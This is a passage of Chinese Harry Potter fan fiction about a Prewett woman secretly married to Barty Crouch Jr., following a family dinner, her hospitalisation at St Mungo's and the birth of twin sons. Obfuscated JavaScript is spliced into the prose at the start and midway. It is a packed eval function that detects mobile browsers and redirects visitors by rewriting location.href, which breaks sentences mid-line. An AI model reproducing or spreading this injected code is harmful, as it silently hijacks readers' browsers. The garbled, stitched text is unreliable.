l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727484|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那只普通的眼睛望着罗恩,那只带魔法的眼睛滴溜溜一转,从脑袋里朝旁边凝视着。 莉安有一种很不舒服的感觉,似乎那眼睛正在望着自己,穆迪肯定知道她是“穆迪”的爱徒,但他绝对不会像小巴蒂那样对自己好到无微不至,不禁绷紧了神经。 “好啊,祝贺祝贺,”穆迪说,“听说吉迪恩的女儿也加入了凤凰社,可惜她一向神出鬼没,没想到今天居然遇到她了…我在外面听到她已经有了五个月的身孕,这实在有趣…” “谢谢。”莉安冷淡又僵硬的说。 这时候,亚瑟和比尔回来了,莫丽又变得喜气洋洋,莉安松了口气,连忙找了个位置入座。 “好了,我想我们可以举杯了,”每个人都拿到饮料后,亚瑟说,举起了他的高脚酒杯,“祝贺罗恩和赫敏当选格兰芬多的级长!” 大家都举杯祝贺,然后热烈鼓掌,罗恩和赫敏高兴得满脸放光。 “我自己从没当过级长,”大家都凑在桌子跟前取食物时,唐克斯兴高采烈的说,她是个易容马格斯,今天她的头发红得像西红柿,一直拖到腰际,看上去就像金妮的姐姐,“我们学院的院长说我缺乏某些必要的素质。” 罗恩逢人就热情洋溢的介绍莫丽给他买的新扫帚。 “…十秒钟内就从零到七十,不坏吧?要知道《飞天扫帚大全》上说,彗星290只有零到六十,而且还需要有一股顺风推着呢。” “你想做追球手吗?”莉安问,“我记得你一直都很喜欢魁地奇,每次都眼巴巴的看着…” “噢不!”罗恩涨红了脸,“球队里还有其他的位置,我是说…嗯…比如救球也不错…” “是的,我的小罗尼,你很有天赋,”莉安语重心长的看着他,“每次乔治和弗雷德对你扔东西,你接得都很快…” 乔治和弗雷德哈哈大笑,而罗恩的脸越来越红了,低头猛吃他面前那盘烤鸡。 “他们是男孩儿还是女孩儿?”乔治问。 “想好名字没有?”弗雷德接着问。 “是两个男孩儿,至于名字,我还没想到,”莉安看到他们两个不安分的手伸了过来,很大度的给他们摸摸,“最偷懒的做法就是一个叫吉迪恩,一个叫费比安,怎么样?” “噢那可不行,”乔治怪声怪气的说,“妈妈说我和弗雷德的名字就是为了纪念两个舅舅。” 莉安扶着额头呻吟,“我不会起名字,回头我问问他们的爸爸。” “那家伙也太神秘了,”弗雷德小声嘀嘀咕咕的说,“听说是世界杯认识的,什么时候啊?我记得你不是一直在帐篷里睡觉吗?” “那天晚上,营地里的食死徒作乱的时候,”莉安耐心的解释道,“我在林子里遇到了他,噢别看那时候兵荒马乱的,很多人都在林子里遇到了爱情,我还记得当时有三个媚娃,一堆男巫围着她们,其中一个还对她们说要做魔法部部长。” 哈利差点喷了出来,他不由自主的看向罗恩,罗恩的头已经快扎进烤鸡里去了。 赫敏憋着笑,哈利也是,他们突然想到,罗恩看到那些媚娃之后,大声冲她们嚷嚷,说他发明了一种飞天扫帚,一直能飞到木星上。 “他是德姆斯特朗的学生吧,”乔治若有所思的摸着下巴,“所以你一直瞒着我们偷偷跟他谈恋爱,怪不得胖夫人说你晚上经常溜出休息室夜游…” “也有可能是布斯巴顿,”金妮插了一句,“他们学校是有男生的,只是来得不多。” “不会是布斯巴顿,”弗雷德说,“我很确定莉安不会喜欢那几个小男孩儿。” “那预产期是什么时候?”唐克斯很喜欢孩子,好奇的盯着莉安的肚子,“双胞胎好像会提前生产吧?” “啊是,有可能,预产期其实是一月份,”莉安想了一下治疗师的话,说道,“不过他们大概会早一点出生,我想圣诞假期的时候就差不多了。” “听妈妈说他们会姓普威特呢,”金妮兴致勃勃的说,“莉安也没有冠夫姓,那个男人真的很有趣,很尊重她。” 这时,穆迪那只犀利的魔眼又转了过来,仿佛要看穿她的肚子,莉安知道魔眼有透视和放大的功能,不过她也没有在意这件事。 魔眼又不能像麻瓜的仪器那样鉴定出他们的父亲是小巴蒂·克劳奇。 穆迪盯了她一会儿,终于开始吃东西了,他用残缺不全的鼻子嗅了嗅一根鸡腿,但显然他没有发现任何下毒的痕迹,因为他用牙齿扯下了一大块鸡肉。 莉安一边和他们聊天一边闷头吃东西,避免自己的目光和比尔撞在一起,她已经知道比尔在英国的古灵阁申请了一个坐办公室的工作,这样就能回家,还能为凤凰社做事,虽然他很想念那些古墓,不过也有所补偿——芙蓉在古灵阁找了一份工作,为了提高英语,比尔一直在给她许多个别辅导,据双子说,他们很亲密。 她觉得自己应该和比尔保持距离,她可不敢保证,一旦芙蓉成了他的女朋友,又知道了他们过去的事,会不会大发雷霆,还是不要让芙蓉误会她和比尔藕断丝连比较好。 莫丽打了个大大的哈欠。 “好了,我先去把写字台里的博格特弄出来再上床睡觉…亚瑟,我不希望这些人闹得太晚,好吗?晚安,各位亲爱的。” 她说完就离开了厨房。 莉安四处瞄了瞄,发现一直盯着自己的穆迪拉着哈利走了,双子和蒙顿格斯一起挤在一个角落里,乔治手里拿着一堆枯干的黑豆荚般的东西,看来他们在进行什么秘密交易,而其他人喝得东倒西歪,桌子底下散落着许多黄油啤酒瓶。 “…扫帚把是用西班牙栎木做的,涂着防恶咒的清漆,还有内置的振动控制——”罗恩还在对唐克斯喋喋不休的说。 莉安把盘子放回桌上,趁着没人注意,神不知鬼不觉离开了凤凰社总部。 回到祖宅时,莉安缓缓的舒了口气,二楼的枝形吊灯仍然开着,小巴蒂的影子在窗帘后面若隐若现,但很快,他就消失了——然后又在门口出现。 莉安被抱到了沙发上,小巴蒂动作轻柔的帮她换了一件吊带睡裙,她看着忙里忙外的男人,不无惆怅的在想,她是多么喜欢他的体贴啊。 可他的疯癫也让她难以承受。 就像一只小小的爬行动物,在宠物店里,当售货员让她用手指头揉它的肚子时,它看起来十分温顺,但现在它却咬住她、撕扯她的指甲。 “还生我气吗?”小巴蒂打开了电视,随便找了一个音乐频道,顿时,整间客厅里只有电视屏幕幽暗的光圈和断断续续的、舒缓的音乐。 等他坐下来时,莉安摇摇头,抓住了他的手,两人的戒指碰撞,发出清脆的声音。 “孩子们的名字,你想好了吗?” “想好了,”小巴蒂的声调里透露着掩饰不住的轻快,“兰斯和洛特。” “为什么?”莉安怔忪了片刻,疑惑的问,“我记得洛特这个名字用的人很少。” “合在一起就是兰斯洛特,”小巴蒂靠了上来,把她的头放到自己肩上,一条手臂揽着她的肩膀,另一条手臂仍然牵着她的左手,开始给她讲故事,“梅林帮助的亚瑟王,他有一个英勇的圆桌骑士…” 莉安快睡着时,他们的手臂仍然不停的触碰、摩擦,就像有很多次,她都幻想着两人可以一起走在路上,他们小心翼翼的试探彼此,直到她挽住他的手臂。 她似乎有点想不起来她曾经想要从他那里得到什么,或者怎么可能甚至想着跟他在一起,夜复一夜,两人的身体像磁铁的正负极一样黏在一起,这种念头似乎让她不能安眠,她竭力要忘记那些原始幻想,但它们轰轰烈烈的背景音乐却越来越响。 关于他的一切,她什么都没忘掉,所以再次看到他的时候,她马上就想要带走他,想带他回到她的房子里,想听他告诉她是否还记得怎么打破房子的保护咒,而在楼梯拐角处,仍然坐着那个十三年前他见过女孩儿。 她没有信念、没有目的、没有明天的爱着,投机取巧,就像她努力装出老成世故又极其了解自己的样子,摆出对现实不再抱幻想的讥讽态度。 但是,如果这一切都没发生,那人生还有什么意义?她多想挽住他的手臂,多想和他一起出现在每个光明正大的街道,她希望他们的同行永远不会结束。 他们的故事也不要结束。 19. 出生 1995年12月18日,普威特祖宅。 这天早晨,莉安醒来时,小巴蒂已经回来了,大概是回来的比较晚,他还没有醒,长长的金色睫毛盖住了那双散漫不羁的灰色眼睛,莉安看了他好一会儿,才发现他眼下那块青黑并不是睫毛投下来的阴影,而是黑眼圈。 她在床上静静的躺着,望着灰尘从淡绿色的幔帐中透进来的那缕阳光中飞旋起舞,喜滋滋的想到还有一个星期就是圣诞节了。 莉安轻轻的翻了个身,眯着眼睛端详了一会儿丈夫高挺的鼻子和淡粉色的薄唇,周围是一片熟睡中的寂静,那一缕阳光仿佛是刚刚打造出来的,看来天才刚亮,她小心翼翼的起身,拉开床周围的帐幔,换了那条超大型号的长袍。 除了窗外远处小鸟叽叽喳喳的啁啾,惟一的声音就是丈夫缓慢、均匀的呼吸声,她温柔的在他脸上吻了一下,拿起床头的魔杖,缓缓关上了门。 她径直走向一楼的厨房,点燃了熄灭的炉火。 平常一天下来,厨房的料理台上总是散了一堆的包装油纸、空罐头盒和酒瓶,现在这些垃圾都不见了,莉安扶着自己的后腰,挺着巨大的肚子,魔杖指向抽屉和冰箱,于是一套沉甸甸的刀子开始自动切火腿剁菜,她搅拌着一只放在炉灶上的汤锅,时不时看看另一只煎锅里的虾,两个小精灵从碗橱拿出盘子和高脚酒杯。 “主人,你要小心点儿,不然小主人会有闪失的,”赫洛盯着她打碎蔬菜的动作,不赞同的说,“坏巫师一顿不吃也饿不死!” 闪闪狠狠的瞪着她,但莉安没有在意,她的魔杖杖尖喷出一股高温火焰,烤火腿和奶酪的香味弥漫在空气中,她迅速组装好一份辣蜂蜜酱苹果火腿三明治,然后敲了敲汤锅和煎锅,于是两个锅子升到空中,朝餐桌飞去,然后歪向一边,在汤盘里倒入几只煎虾和浓浓的、热气腾腾的法式鲜虾汤。 她把魔杖朝角落一挥,一长条法棍面包和一把刀子优雅的飞到了桌上,法棍自动斜着切成了片,两个锅子飞回去落在炉子上。 “闪闪,去叫你的主人起床。”莉安把两杯热可可放在桌子上,自己捧着一杯捂手,小心的在餐桌旁坐了下来。 过了一会儿,只听到楼上一阵光脚踩在地板上的声音,仿佛是在找居家服,不多时,小巴蒂穿着一套可爱的睡衣下来了。 “怎么突然下厨了?”他坐到餐桌旁,睡眼惺忪的盯着那盘汤,视线又转到莉安身上,“快九个月了,别这样,我怕你和孩子都——” “不会的,”莉安情真意切的说,“你这几天很晚才回来,都没时间吃饭了,只能从冰箱里拿几个馅饼,我知道。” “是啊,这几天有点忙,但是你生产的时候我会陪着你的,”小巴蒂喃喃的说,“我已经准备好了复方汤剂。” 莉安隔着桌子摸了摸他的脸,在他黑眼圈那块皮肤上停留片刻,又移到那几颗雀斑上,“快吃吧,不许剩。” 小巴蒂捉住她的手,不假思索的吻了吻,这才开始享受法棍蘸浓汤。 “普威特的确是法国来的家族,食物比英国菜好吃很多,”他拿起三明治咬了一口,幸福的叹了口气,“也就去年布斯巴顿来霍格沃茨,我才感觉城堡的伙食提升了,我读书那时候…不提也罢。” “好,下次做法式炖煮鳗鱼,”莉安嫌弃的说,“英国的鳗鱼羹太难吃了,还有鳗鱼冻,简直可怕…闻到我就想吐…” 小巴蒂虎视眈眈的盯着她,准备随时帮她拍后背,但是莉安没有吐,只是用眼神示意他快点吃饭。 这顿早饭吃完,小巴蒂瘫在沙发上不停打嗝,他觉得睡裤有点紧,但是这已经很能说明问题了——裤腰的位置非常宽松。 晚上半夜时,莉安半梦半醒中感叹小巴蒂终于能在家陪她好好睡一觉时,小巴蒂突然翻身坐起,右手捂在左手臂上。 莉安被他这个突然的动作掀开了被子,瞌睡都被赶跑了,她打了个冷战,也坐起来,从背后搂住了他的脖子。 “怎么了?要出去?” “他召唤我,召唤所有食死徒,”小巴蒂转过身来,抚摸她的头发,“我要出去,你不要等我了,肯定有大事发生。” 莉安看他换上了食死徒的黑袍,又把兜帽戴在头上,遮住了一头被她养得光泽柔顺的金发。 “那好吧。”她关上了星球熔岩灯,打开了光线更为明亮刺眼的枝形吊灯,这让她有点想要流泪——怀孕后期导致的眼睛脆弱。 “我会尽快赶回来,你在家里不要出去,也不要担心,应该不是战斗,”小巴蒂仔仔细细的叮嘱她,“就算要出去,也要让闪闪留个口信给我,知道吗?” “好,”在他的魔杖擦过脸颊戴上面具之前,莉安吻了他的唇,“我在家里就开着灯。” 小巴蒂点点头,莉安在窗户旁看到他融入了漆黑的夜色中,下雪了,他的头上沾着雪花,化作一缕轻烟向上飘去。 睡意突然没有了,莉安就着金色的光线,看雪花在窗前飘舞。 空中传来一阵由远及近的细微声音,她看到远处有一个物体仿佛在向自己的方向移动,她眯着眼睛仔细看——送信的猫头鹰来了,俯冲着穿过漆黑的、飘着雪花的夜空,把一封信扔在了保护咒外面。 莉安不禁大感意外,片刻之后,赫洛把信拿了上来。 她拆开信,羊皮纸上只有狂乱的几行字: 亚瑟·韦斯莱在今晚的值班任务中受了重伤,已被送往圣芒戈魔法伤病医院。 ——凤凰社 莉安只觉得肚子抽筋了似的疼得厉害,好像两个孩子在打架,抡起小拳头转着圈打在她肚皮和肠子上,后来干脆变成了手脚并用。 她痛叫一声,脸色变得煞白,冷汗不断从额头上滚落。 “主人?小姐?” “还愣着做什么呀!送女主人去圣芒戈呀,你这个傻瓜!我在这里等着我的主人回来!” 两个小精灵吵成一团,不过很快的,赫洛就听取了闪闪的意见,使用家养小精灵的幻影移形带着瘫软的主人匆匆到圣芒戈去了。 清晨,一个面容温和、穿着长风衣的年轻男人悄悄走在寂静无人的街上,他溜达到穿绿尼龙裙的假人站的橱窗跟前,四处瞄了瞄,见四周静悄悄的没人注意到他,突然穿过玻璃。 圣芒戈魔法伤病医院的候诊室一派节日气氛:里面放着蜡烛、用来照明的水晶泡泡变成了红色和金色,像巨大的圣诞彩球,闪烁着,每个门口都挂着冬青,用魔法加盖了白雪和冰凌的圣诞树在每个屋角闪闪发亮,树尖顶着一颗闪烁的金星。 今天医院里的病人不太多,排在“问询处”队伍里的只有男人和他前面一个左鼻孔塞了个胡桃的女巫。 “家庭纠纷,嗯?”问讯台后面那个金发女巫憋笑道,“你是我今天看到的第三位…魔咒伤害科,五楼…” 年轻男人走到桌前。 “你好,我妻子莉安·普威特莱昨晚被送进了这里,请问她的病房?” “莉安·普威特?”女巫用手指顺着一张长长的单子往下找,“哦,二楼,右边第三个门,戴·卢埃林病房。” “谢谢。”年轻男人说。 他穿过旁边的双扇门,快速上了楼梯,墙上那些治疗师的画像一直在纠缠他,其中一个中世纪的巫师叫喊说他有严重的散花痘。 “胡说八道。”那年轻男人轻蔑的说。 “此乃皮肤沉病,少爷,会留有疤痕,令您比目前还不中看——” “你什么意思?”男人没有停下脚步。 “惟有取蟾蜍之肝贴于喉部,于望日月光朗朗之时赤身裸体立于一桶鳗鱼目中——” “你该与时俱进了。” “可您面现触目瑕疵,少爷——” “那是雀斑,”男人来到二楼平台,不屑的说,“回你自己的画框里去。” 他推开标有生物伤害科的双扇门,右边第三个门上写着“严重”戴·卢埃林病房,底下一张铜框镶嵌的卡片上有手写的字样:主治疗师:希伯克拉特·斯梅绥克;实习治疗师:奥古斯都·派伊。 病房挺小,暗暗的,只有门对面的墙上高处开了一个窄窄的窗户,光线主要由聚在天花板中央的水晶泡泡提供。 房间里只有一个病人——躺在中间那张床上,年轻男人脱了风衣,抖掉头上的雪花,又捂了捂手,掏出口袋里的小酒壶喝了一口药水,等到手变得暖和了,才坐在病床旁的椅子上,把手放在女人苍白的脸上。 等实习治疗师派伊来查房时,男人立刻向他询问情况。 “动了胎气,受了点儿刺激,”治疗师看着写字板,眉头紧皱,“按理说她已经快要生产了,这个时候应该好好照顾她,但不知道是什么让她惊惧过度——” “对她的身体有什么影响?” “当然有,她差一点儿早产,”治疗师说,“我们已经尽力给她治疗了,但是我不得不说,巫师们并没有什么好的治疗方案,如果你不介意——” 年轻男人面无表情的看着她。 “当然,这只是一个建议,”治疗师小声的说,“你可别生气,我父母是麻瓜,他们是医生,医生你知道吧?麻瓜的治疗师…我研究过他们的疗法,这个…补充医学…我是说一些麻瓜的药物…它们对于保护孕妇和胎儿很有效——” “用吧。”年轻男人干脆的说。 “你真是开明…与时俱进…”治疗师激动的跑走了,不多时,他双眼放光的带着一瓶麻瓜的药剂回来了。 “把它喂给你的妻子,”治疗师把药剂递给年轻男人,兴奋的搓了搓手,“然后等好消息就可以了。” 男人回到病床旁,他调整枕头,轻轻捏开了妻子的嘴,慢慢把药剂灌了进去,小心不让它流到枕头和床单上,看到她一滴不剩的喝掉了药剂,才又把她放平,然后坐到病床边。 男人时不时掏出酒壶喝一口药水,左手在被子里牵着妻子那只左手,就在她睫毛乱颤时,有人推开了病房的门。 “你好?”神情忧虑的比尔看着病房中的年轻男人,愣了片刻,马上定了定神,“你是莉安的丈夫吧。” “是的,我想你一定是韦斯莱家的表亲。”男人用没有感情的平板语调说。 “没错,既然你来了,我也就不用两个病房来回看护了,”比尔对他点点头,“我的父亲在隔壁的病房,已经脱离生命危险,等莉安醒了,请你转告她不要担心了。” “你父亲?你父亲出事了?”年轻男人问,“出了什么事?这件事和我妻子有什么关系?” “她应该是接到了我父亲的消息才会受惊的,”比尔叹了口气,“抱歉,送信的人比较莽撞,忘了她现在快要生产了。” 年轻男人点点头,又转过头看妻子,浑身笼罩着一股“不想跟你说话”的气场。 比尔离开后没多久,病床上的女人终于睁开了眼睛。 她看到一个陌生男人离自己这么近,心差点蹦出来,下意识的去摸索魔杖,但马上,她就感觉那只牵着自己的手放开了,他把手举到她面前,无名指上一个银色的戒指正反射着柔和的微光。 莉安松了口气,心又落回了肚子里,小巴蒂调整了几个枕头,让她靠在上面,然后把床头柜上的《预言家日报》拿在手里。 “等等…”莉安欲言又止的盯着门口。 “他已经脱离生命危险了,”小巴蒂说,“听报纸还是吃点儿东西?” “既想听报纸也想吃东西,”莉安放松了许多,望着他柔声的说,“我饿了。” 小巴蒂敏锐的感觉到她在对自己撒娇,这可太稀奇了,她大多数情况下倔得要死,少部分时候温柔体贴,但是撒娇的次数屈指可数,他一直猜测是她无依无靠,作为一个孤儿,她独自面对这个险恶的世界,惶恐又无助,就算姑妈再怎么疼爱她,但是对方有七个孩子,能分给她的爱和精力、时间一定少得可怜,所以她不得不让自己变得坚强起来,直到她的心像岩石一样冷硬,被重重铠甲包裹。 她爱上他了,被他剥开了那些坚硬的铠甲,就像剥开一颗层层叠叠的洋蓟,寻找那小小的可食用部分,但她的每一片花瓣的尖端都带着一颗细小但锋利的刺,在他努力拔掉花瓣时,这些尖刺早有预谋的刺进他的手指,当她的心出现时,他的手也伤痕累累。 但吃过洋蓟的人都知道,那种美味令人难忘,所以总有人愿意提高警惕去拔掉它的花瓣,尽管他们都知道受伤不可避免——人就是这样不知悔改的动物,愿意冒着遍体鳞伤的风险得到自己想要的东西。 “亲爱的?”莉安伸手在他眼前晃了晃,“我和宝贝都饿啦!” “闪闪。”小巴蒂回神,轻声呼唤。 “主人召唤我,你给我等着!”噼啪一声巨响,愤怒的尖叫声随即充满了原本寂静的病房。 小巴蒂用魔杖指着房门,“Muffliato! ” 他不能让隔壁的韦斯莱父子听到他们的谈话。 闪闪一脸不服气的落在病房中央的地板上,看来是刚跟赫洛打了一架,还在喘气,她穿着一套整整齐齐的小裙子和短上衣,头上还戴着一顶配套的粉帽子,上面掏了两个洞,露出她的两只大耳朵。 “闪闪把食物带来了,女主人,这是巴蒂少爷让闪闪准备的,”闪闪很快平静下来,边说边把手里的食盒放在床头柜上,对着小巴蒂鞠了一躬,“主人还有什么吩咐吗?” “没有,你先回去吧。” 闪闪棕色的大圆眼睛里闪着担忧的光芒,她仔细查看了莉安的情况后,又深鞠一躬,“希望女主人早点恢复,我和赫洛听到主人的召唤就会来的。” 莉安点点头,闪闪打了个响指,消失了。 小巴蒂从食盒里拿出一份苹果炖猪肉和油封三文鱼,用勺子喂她。 莉安觉得可能是受了怀孕的影响,自己变得矫情了,吃饭还要人喂,她红着脸吃了一小勺猪肉汤,不自在的说,“要不我自己来吧…” 小巴蒂充耳不闻,勺子固执的伸到了她嘴边,莉安只好一直害羞的盯着他,吃完了这顿让她唾弃自己矫情的饭。 “不高兴啦?”她偷窥着丈夫的脸色,低声解释道,“你刚走,我就接到了凤凰社的通知…” “我不知道昨晚纳吉尼——黑魔王的蛇袭击的人是你的亲人,”小巴蒂没什么表情,又喝了一点复方汤剂,“如果知道,我肯定先把消息隐下来——” “这不行,巴蒂,”莉安急忙说道,“我不能忍受一直在家里,什么都不知道。” “那就先把你送到圣芒戈。” “说来说去还是生气了,”莉安小声嘀嘀咕咕,“我又不是故意的…” “有什么事生完孩子再说,别总管别人的事,”小巴蒂面无表情的说,“你这是带着我的儿子冒险。” “是我重要还是他们重要?” 莉安刚说完这句话,立刻懊恼的拍了拍额头,她简直昏了头了,居然说出这种话,好像在跟孩子吃醋似的,和她的孩子们争夺小巴蒂的注意力! 肯定是生病让她脆弱,才会这样不知羞耻的对他撒娇! “你不用——” “当然是你重要,没有你,就没有他们,也没有我。” 听了这话,莉安的嘴角不受控制的扬起,露出一个心花怒放的灿烂笑容,小巴蒂只见过一次她笑得这么开心,那就是他伪装穆迪时,承诺教导她各种对抗黑魔法的咒语。 小巴蒂现在那张温和的面孔突然扬了扬眉毛,露出一个邪肆的表情,感觉违和极了,他的语气充满了得意,“嘴硬也没用,无论你再怎么不想承认,你都无法否认,这个世界上你最爱我,我在你心里是最重要的人,同时你也希望你是我心里最重要的人。” “是啊,但是像你这种人,对你吹枕头风是没用的,”莉安倚在床头,望了望窗户外纷纷扬扬的雪花,平静的说,“黑魔头才是你心里最重要的人,我跟孩子们还是比不上的,如果你说我最重要,我会认为你在侮辱我的智商。” 小巴蒂很想反驳,但他张了张嘴,又不知道要说什么。 黑魔王是他的信仰,他的理念,他的追求,他甚至不惜杀死父亲,不顾母亲的牺牲,甚至付出自己的生命,也要帮他重塑肉身——不仅仅是为了他心里父亲般的存在,更是为了确保黑魔当道。 “我不知道未来是怎么样的,如果邓布利多赢了,你会进阿兹卡班,也可能会被杀死,但如果黑魔头赢了,我一定会死——我确定我一定会死,因为我跟他之间只能活一个,我会战斗到最后一刻,等那一天来临时,我希望…” 莉安感觉那只抓着自己的手正在收紧,但她自顾自的说了下去,“我希望身为黑魔头心腹的你,活的久一点,照顾好我们的孩子,对我来说,有些东西是值得为之去死的,我相信他们长大了会理解我。” “值得为之去死?”小巴蒂提高了音量,“我劝你说话经过大脑,不要浪费了这个器官——” “就像你曾经差点儿抛下我和孩子为黑魔头去死那样,巴蒂,你没有资格这么说我,”莉安的脸上带着一种奇异的平静表情说道,“你是我的老师,言传身教,要怪就怪你自己吧。” 小巴蒂怒气冲冲的站起身,似乎拿不定主意怎么收拾她才好,莉安拍了拍肚子,露出一个恶劣的笑容,和他平时的挂在嘴边的那个笑容一模一样。 小巴蒂一言不发的摔门而去,莉安也没有管他去哪里,躺回床上继续睡觉。 傍晚时,莫丽和她的孩子以及几个凤凰社的成员到隔壁病房探望完亚瑟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727485|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又来到了莉安的病房。 “亲爱的,你怎么样?”莫丽俯下身吻了吻她的面颊,“比尔跟我说你进了圣芒戈,我一开始是不建议的,因为怕太多人出现在圣芒戈会走漏风声,你也知道,最近部里的气氛不太好…但后来比尔说,你动了胎气…” “我感觉很好,”莉安愉快的说,伸出胳膊拥抱了她,“听到亚瑟没事,我就好了,不过治疗师说我还是住到生产比较好,所以我生完孩子再回家。” 莫丽仍然忧心忡忡的样子,而疯眼汉赞同的咕噜了一声,和唐克斯背靠在墙上,魔眼骨碌碌的转动着。 “你的丈夫呢,莉安?”弗雷德把椅子朝床边拖了拖,问道,“比尔说见到了他。” “他有事先走了,”莉安笑了笑,“我不知道他晚上会不会来——” 病房的门又一次被推开了,小巴蒂提着食盒走了进来,他旁若无人的把东西放在床头柜上,瞬间病房中所有人的视线都落在他身上。 “好点儿了吗?”小巴蒂看她点头,这才转向其他人,“我是乔希·阿克利,莉安的丈夫。” 穆迪的魔眼一直盯着他,仿佛要把他看穿,而莫丽已经开始问东问西。 小巴蒂游刃有余的应付着她的喋喋不休,撒谎不眨眼,很快就让莫丽放下了戒备心。 “按我说,你就应该在英国找一份工作,这样也能天天见到莉安,是不是?”莫丽起劲儿的说,“我想不明白为什么,年轻人不是都喜欢黏在一起吗?分开一会儿就难受…” “我们正在考虑这个问题,”小巴蒂情真意切的说,“再过一阵子我会常驻英国。” “你到英国打算做什么工作?”穆迪粗声粗气的说,“我看你的英语很好,这可不像个外国巫师。” “解咒员,”小巴蒂淡定的说,“阿克利是英国的家族,只是我父亲是个麻瓜,我的母亲是德国的巫师。” “德姆斯特朗有这号人吗?”乔治小声嘀咕道,“我都忘了他们的长相了。” “管他呢,反正以后他就在英国了,”弗雷德不在意的说,“他也没说自己是德姆斯特朗的人啊,妈妈不是说,他复活节的时候才到霍格莫德找莉安的吗?” 穆迪盘问许久,魔眼滴溜溜的转着,但小巴蒂仍然滴水不漏,最后几人安慰了莉安几句,陆陆续续的离开了。 “演技真好,”莉安感叹道,“我还以为你不来了呢。” “如果我一直不来,你也一直不打算让赫洛给你送晚饭是吗?”仔细听小巴蒂的声音,还是含着一丝怒气,“你怀着我的孩子,用他们拿捏我,你可真是心狠。” “你难道没有用他们拿捏我吗?”莉安撅着嘴,不满的瞪着他,“都三个月了你才舍得告诉我你偷换了魔药。” 小巴蒂手下用力,把她从平躺摆成倚靠在床头的姿势,开始喂她吃晚餐。 “你就喜欢我坏,喜欢被我占有,自从我闯进你的房子那一刻起,你就再也离不开我了,像个雏鸟一样,当我再次出现时,你就迫不及待的想要跟我在一起,你之所以没有第一时间扑上来,而是犹豫、纠结、伪装冷淡,甚至想要赶我走,是因为你害怕了,因为你知道你太想要我了,但你很清楚我是坏人,而你身上带着父辈留给你的责任和荣耀,你不敢爱我,可你又控制不住的想要爱我。” 莉安听了他的话,悲哀的觉得自己在他面前就像一只失去了背上的壳的蜗牛那样赤裸,她的安全感和心理防线哗啦一声,彻底被他漫不经心吐出的残忍真相打碎了。 他是故意的。 小巴蒂其实对这段话十拿九稳,但观察她的表情,发现自己的猜测果然被证实,心情突然愉快许多。 “以后别说什么让我离开的话,”他得意洋洋的炫耀道,“别再虚张声势,你知道,如果我离开了,你会难过死的。” 当他的唇凑上来时,莉安越是抗拒转向他,就越能感受到他的呼吸,就像在每个夜晚他对他耳语时一样,他的嘴唇几乎能碰到她的耳朵。 掀开他隐形衣的那一刻,等待和希望是如此令人着迷,没有任何暗示能让她确定隐形衣下的人是他,哪怕闪闪那些古怪的举动和他念出咒语的声音也不能,因为所有人都知道他已经死了,不可能出现。 希望,是向前或者背道而驰的,她认为自己已经发现了他,却又无法确信,徘徊在这两种选择之间,她在寻找一种一击即中的态度——隐藏快乐——表达快乐——表达她正隐藏着的快乐——表达她在展示所有的快乐。 她甚至发现自己正试着不抱希望,因为她怕掀开隐形衣的结果是她发现这只是一个和他长得很像的人,是另一个人,她的幻想由此破灭。 但她无法抗拒如果真的是他这个结果,她想环抱住这个渺小的、隐秘的、可耻的希望,仿佛那时她要做的就是把视线移开看向别处,只要她继续假装不看他,不报任何希望,上帝就会给她意想不到的惊喜,他就会对她恶劣的笑一笑,用手掌蒙住她的眼睛说:猜猜我是谁。 她不由自主的伸手勾住了他的脖子,加深了这个吻。 她无法当十四年前的邂逅从来没有发生过,也无法想着即便发生了也没有意义,他是个无耻的无赖,永远笼罩着那个打着雷的夜晚。 如果见到他的幻觉可以让她在往后所有的雷雨夜中有所依存,那么这段关于他的记忆则会让她归家时带着这样的感觉:曾经他们之间发生的事情,今晚也会发生在她身上。 她最初的愿望现在实现了,她要订正她许愿的条件,现在她觉得自己有必要告诉他自己是如何一直都在思念着他,一直。 “巴蒂。” “嗯?” “我想你,一直想你,这么多年。” “小鬼头,总算不再嘴硬了。” 1995年12月25日,圣诞节。 这天晚上,喝了复方汤剂的小巴蒂落在一条宽阔的街道上,两旁的商店里挤满了圣诞节的顾客。 他抓紧了手中的食盒,免得它会被一群显然只想挤进旁边那家电器店的购物者挤掉。 他刚穿过圣芒戈的橱窗玻璃时,问询处旁边的双扇门里就传来一阵婴儿的哭声。 小巴蒂三步并作两步登上楼梯,冲进右手边的第三个病房,里面仍然只有一个病人,不过今晚有些不同寻常——床尾多了一架婴儿车,里面放着两个包裹——不,那是襁褓。 “疼吗?”小巴蒂拨开那些粘在她脖子上的湿漉漉的金发,看到她虚弱苍白的脸色,罕见的有些紧张,“要不我让治疗师来?” “他已经来过了,还给我用了什么麻瓜的麻醉剂——他说你一定支持他这样做,”莉安对他笑了笑,“不那么疼,现在,巴蒂,你能把孩子抱过来吗?我想和你一起看。” 小巴蒂发现她的表情十分柔和,散发着奇特的光辉,他猜测这是做了母亲的原因,于是应了一声,走到婴儿车前,一手一个,小心翼翼的把两个儿子抱了起来,回到她旁边。 “这个是哥哥,”莉安指着一个襁褓,柔声说,“可爱吧?他像我,兰斯·普威特。” 说完,她看向另一个襁褓,皱了皱眉,但又很快松开,喃喃的说,“洛特·克劳奇,他有你的眼睛,巴蒂,灰色的眼睛…和你一模一样。” “像我就像我吧,反正他还小,即使五官都像我,也没人能看得出来,”小巴蒂乐观的说,“便宜老巴蒂了,你还愿意让他姓克劳奇。” 莉安被他逗得忍俊不禁,“可是你也姓克劳奇啊,既然这么不满,怎么没改名?普威特有一个继承人就够了。” “懒得改了,反正小巴蒂·克劳奇的名声注定会盖过老巴蒂·克劳奇,”小巴蒂耸耸肩,把两个儿子放了回去,“好的坏的无所谓,总之我可不是老巴蒂的影子。” 